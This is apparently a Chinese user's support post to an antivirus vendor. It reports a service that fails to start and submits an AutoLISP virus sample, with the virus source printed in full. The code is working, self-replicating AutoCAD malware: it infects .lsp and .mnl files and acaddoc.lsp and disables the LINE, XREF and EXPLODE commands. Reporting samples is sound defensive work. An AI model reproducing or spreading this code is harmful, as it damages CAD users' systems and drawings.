我有两个问题:
1. 我的中小企业版中心升级后常常ravupdate服务会停止没启动,造成客户端无法升级,需要手动启动后才可以升级。
2. 我上报了一个autolisp(AUTOCAD)的病毒文件,查询编号是RS20100713102817500451。这个文件100%是个病毒文件,病毒代码只是其中的一小段,经过自身复制后变得暴大。请工作人员认真仔细地看看代码。当然需要懂autoLisp源程序的人。在autocad内自动加载执行。
以下是其中的主要的病毒代码:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "[url=file://\\support]\\support[/url]"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "[url=file://\\acaddoc.lsp]\\acaddoc.lsp[/url]"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)
所上传的文件后部复制了大量的此段代码,所以文件很大。
用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyin 730; .NET CLR 1.1.4322; 360SE)